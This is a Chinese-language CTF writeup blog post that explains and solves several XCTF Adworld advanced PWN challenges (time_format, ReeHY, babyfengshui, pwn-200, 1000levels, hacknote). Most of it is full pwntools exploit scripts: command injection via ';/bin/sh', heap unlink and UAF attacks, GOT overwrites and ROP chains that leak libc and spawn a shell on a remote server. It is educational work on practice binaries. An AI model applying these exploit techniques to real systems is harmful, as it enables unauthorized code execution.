Whali3n51's blog

  • 主页
  • 关于
  • 友链
  • 标签
  • 分类
Writeup

攻防世界高手进阶PWN(2)

Whali3n51 发布于 2019-09-01

懒得写思路,就写一些关键的思路和该注意的地方,最近做的题都没总结。今天就好好总结一下。

time format

没什么好说的,easy.但是我觉得好的思路就是学会用’;’来分割参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
#p=remote('111.198.29.45',53977)
p=process('./time_format')
elf=ELF('./time_format')

def set_format(content):
p.sendlineafter('> ','1')
p.sendlineafter('Format: ',content)

def set_value(content):
p.sendlineafter('> ','3')
p.sendlineafter('Time zone: ',content)

def delete_format():
p.sendlineafter('> ','5')
p.sendlineafter('Are you sure you want to exit (y/N)? ','n')

set_format("%c")
set_value("\'"+";/bin/sh #"+"\\")

delete_format()
gdb.attach(p)
set_value("\'"+";/bin/sh #"+"\\")
p.sendlineafter('> ','4')
#delete_format()


p.interactive()

4-ReeHY-main-100

这一题是UAF制造的unlink.大体思路是这样的,首先开辟两个unsorted bin chunk.在free掉,这两个chunk合并,在开辟一个大于先前的unsorted bin chunk的chunk,这个时候写入一个fake chunk,然后触发unlink漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

#p=process('./4-ReeHY-main')#,env={"LD_PRELOAD":'ctflibc.so.6'})
p=remote('111.198.29.45',56708)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./4-ReeHY-main')
def debug():
gdb.attach(p,''' b *0x00400A45 0x*0400AAA *0x0400B01 ''')
def create(index,size,content):
p.sendlineafter("$ ",'1')
p.sendlineafter("Input size\n",str(size))
p.sendlineafter("Input cun\n",str(index))
p.sendafter("Input content\n",content)

def delete(index):
p.sendlineafter("$ ",'2')
p.sendlineafter("Chose one to dele\n",str(index))
def edit(index,content):
p.sendlineafter("$ ",'3')
p.sendlineafter("Chose one to edit\n",str(index))
p.sendafter("Input the content",content)
p.sendlineafter('Input your name:','whalien51')
heap_addr=0x602100
create(0,0x200,"/bin/sh\x00")
create(1,0x200,"1")
create(2,0x200,'2')
create(3,0x200,'3')
delete(3)
delete(2)

payload = p64(0) + p64(512+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'A'*(512-0x20) + p64(512) + p64(512)
create(2,0x400,payload)

delete(3)

edit(2,'1'*0x18 + p64(elf.got['free']) + p64(1) + p64(elf.got['atoi']))
#debug()
edit(2,p64(elf.symbols['puts']))

delete(3)

atoi_addr = u64(p.recv(6).ljust(8,'\x00'))
base_addr = atoi_addr - libc.symbols['atoi']
log.success("libc_base====>0x%x"%base_addr)
system_addr = base_addr + libc.symbols['system']

edit(2,p64(system_addr))

p.interactive()

AUL

这一题是来凑数的,easy。
连上直接os.execute(‘/bin/sh’)

babyfengshui

你能相信这一题给的二进制文件是错的么。害的我花大量的时间怀疑他加壳,然后我去脱壳,最后无果。然后我上搜索引擎找到了这个正确的二进制文件。
这一题没什么好说的,任意字节堆溢出。啥都有,easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level='debug'
#p=process('./babyfengshui')
p=remote('111.198.29.45',42708)
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def create(size,length,text):
p.sendlineafter("Action:",'0')
p.sendlineafter("size of description: ",str(size))
p.sendlineafter("name: ",'2222')
p.sendlineafter("text length: ",str(length))
p.sendlineafter("text: ",text)
def edit(index,size,content):
p.sendlineafter("Action:",'3')
p.sendlineafter("index: ",str(index))
p.sendlineafter('text length: ',str(size))
p.sendlineafter('text: ',content)
def free(index):
p.sendlineafter("Action:",'1')
p.sendlineafter("index: ",str(index))

def show(index):
p.sendlineafter("Action:",'2')
p.sendlineafter("index: ",str(index))


create(0x80,0x10,'111')
create(0x80,0x10,'222')

free(0)

create(0x10c,0x19d,'2'*0x198+p32(0x804b00c))
#gdb.attach(p)
show(1)

p.recvuntil("description: ")
system_addr=u32(p.recv(4))-0x049020+0x03a940
log.success("0x%x"%system_addr)

edit(2,0x19d,'/bin/sh\x00'+'a'*(0x198-8)+p32(0x804b010))

edit(1,0x4,p32(system_addr))
free(2)
p.interactive()

pwn-200

这一题是一道栈溢出,ROP构造,适合初学者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

#p=process("./pwn-200")
p=remote('111.198.29.45',43390)
elf=ELF("./pwn-200")

context.log_level = "debug"

p.recvuntil("Welcome to XDCTF2015~!\n")

payload='a'*0x6c+p32(0)+p32(elf.symbols['write'])+p32(0x8048484)+p32(1)+p32(elf.got['read'])+p32(4)
p.sendline(payload)
system_addr=u32(p.recv(4))-0x0d4350+0x03a940
log.success("read_addr====>0x%x"%system_addr)

binsh=system_addr-0x03a940+0x15902b
payload='a'*0x6c+p32(0)+p32(system_addr)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

1000levels

这一题也是栈溢出,不过我个人角度这个栈溢出比上面哪一题有意思。
这一题开了pie,不能直接控制eip。
但是这一题在hint函数里面将system地址放到栈上了,但是go函数和hint共用一个栈。所以我们控制变量,保证system地址不被任意覆盖。
然后我们将system地址的低字节覆盖为one_gadget,然后再answer函数里面溢出,这个时候answer函数栈是在go函数栈的上面,我们直接溢出,然后我们使用vsyscall填充空余的部分直接到system地址。
为什么使用是vsyscall呢。因为vsyscall地址在空间中固定,里面存放着一些简单的无参函数,然后执行完就retn.对我们栈说,他就不停的把我们栈上数据当做eip执行完后就向下滑动,直到滑到system函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.log_level = 'debug'

p = process('./100levels')
#p = remote('111.198.29.45',58601)
elf = ELF('./libc.so')

one_gadget = 0x4526a
system_offset = elf.symbols['system']
vsyscall_addr = 0xffffffffff600000

# hint()
p.sendlineafter('Choice:\n','2')

# go()
p.sendlineafter('Choice:\n','1')
#gdb.attach(p)
p.recvuntil()
#这里控制system不能随便被覆盖了
p.sendlineafter('How many levels?\n','0')
p.recvuntil('Any more?\n')
#这里讲system低地址覆盖为one_gadget地址
p.sendline(str(one_gadget-system_offset))

# question 这里不能进行栈溢出,这里进行递归,为了保持栈平衡,前99次不能进行,最后一次进行栈溢出
for i in range(99):
p.recvuntil("Question: ")
a = int(p.recvuntil(" ")[:-1])
p.recvuntil("* ")
b = int(p.recvuntil(" ")[:-1])
p.sendlineafter("Answer:", str(a * b))

# payload

payload = 'A' * 0x30
payload += 'B' * 8
#这里用来填充,直到滑到存放system的地址处来绕过pie
payload += p64(vsyscall_addr) * 3
gdb.attach(p)
p.sendafter("Answer:",payload)

p.interactive()

hacknote

你能相信这一题没给二进制文件吗。我真的是醉了,越往后面做就觉得主办方越来越不用心。这一题我在搜素引擎上找到了。他将一个用来打印的函数放在堆上,这个放打印函数的chunk为fastbin,而且这一题存在UAF漏洞。我们只需要巧妙的控制fastbin的分配,我们就能得到这个存放chunk。这个时候我们保持这个地址不变,泄露出got表,确定服务器的libc和libc_base。然后释放后重新分配,然后把打印函数地址改为system地址。但是这里要注意的事参数要用’;’分割,因为传进去的参数是我们存放system地址的地址。所以用’;bin/sh’,其中’;’用来分割。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level='debug'
#p=process('./hacknote')
p=remote('111.198.29.45', 40750)
libc=ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
#libc=ELF('')
def create(size,content):
p.sendlineafter("Your choice :",'1')
p.sendlineafter("Note size :",str(size))
p.sendafter("Content :",content)
def show(index):
p.sendlineafter("Your choice :",'3')
p.sendlineafter("Index :",str(index))

def free(index):
p.sendlineafter("Your choice :",'2')
p.sendlineafter("Index :",str(index))

create(0x78,'a')#0
create(0xc,'a')#1
free(0)
free(1)
create(0x20,p32(0)+p32(0))#2
payload=p32(0x0804862b)+p32(0x804A010)
create(0xc,payload)#3


show(0)
printf_addr=u32(p.recv(4))-libc.symbols['printf']
success('main_addr====>0x%x'%printf_addr)

system_addr=printf_addr+libc.symbols['system']
free(3)
create(0xc,p32(system_addr)+';bin/sh\x00')#4
show(0)
p.interactive()
  • #UAF
  • #stack_overflow
Newer

five空间大赛

Older

关于Win10自动更新1903之后只能新建文件夹

© 2023 Whali3n51